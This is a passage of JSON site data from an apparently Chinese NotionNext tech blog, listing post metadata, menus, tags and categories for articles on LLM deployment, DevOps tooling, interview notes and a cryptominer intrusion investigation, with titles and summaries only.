康"],"summary":"仅供列表展示、文章无内容;\n这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。","title":"空白文章7","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:57.241Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-8","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章8","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:20:08.239Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=b4a852c3-8bab-43ef-b748-8dec9d0940f9","pageCoverThumbnail":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=b4a852c3-8bab-43ef-b748-8dec9d0940f9&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-9","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章9","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:20:06.142Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=463a12f0-d5d5-4492-bb0f-8058cea32a41","pageCoverThumbnail":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=463a12f0-d5d5-4492-bb0f-8058cea32a41&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-10","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范","title":"空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:20:03.738Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97","pageCoverThumbnail":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","icon":"fas fa-home","date":{"start_date":"2022-05-18"},"type":"Page","slug":"/","title":"主页","status":"Published","category":"","publishDate":1652832000000,"publishDay":"2022-5-18","lastEditedDate":"2024-01-18T17:40:34.961Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"7b6c5022-b0db-4dc3-a38e-47cefabe2caf","icon":"fas fa-search","date":{"start_date":"2021-07-02"},"type":"Menu","slug":"/search","tags":["文字"],"summary":"跳转到’/search’搜索页的菜单","title":"搜索","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.112Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"文字","color":"brown"}],"to":"/search","name":"搜索","password":""},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]},{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}],"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近